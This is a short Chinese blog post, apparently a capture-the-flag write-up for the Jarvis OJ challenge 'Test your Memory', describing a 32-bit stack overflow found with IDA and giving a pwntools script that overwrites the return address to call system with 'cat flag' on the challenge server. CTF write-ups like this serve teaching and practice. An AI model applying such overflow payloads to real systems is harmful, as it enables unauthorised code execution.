美文网首页
Jarvis OJ---Test your Memory

Jarvis OJ---Test your Memory

作者: yahoo0o0 | 来源:发表于2017-09-24 18:20 被阅读0次

32位下的简单栈溢出,IDA反编译之后发现在memtest函数之中传入参数cat flag,在函数winfunc之中调用了系统函数system。

image.png image.png

ret2libc,直接getshell

from pwn import *

p = remote("pwn2.jarvisoj.com",9876)
callsystem = 0x080485BD
catflag = 0x080487E0
payload = 'a'*(0x13 + 4) + p32(callsystem) + p32(0x08048677) + p32(catflag)
p.sendline(payload)
p.interactive()

相关文章

网友评论

      本文标题:Jarvis OJ---Test your Memory

      本文链接:https://www.haomeiwen.com/subject/vhakextx.html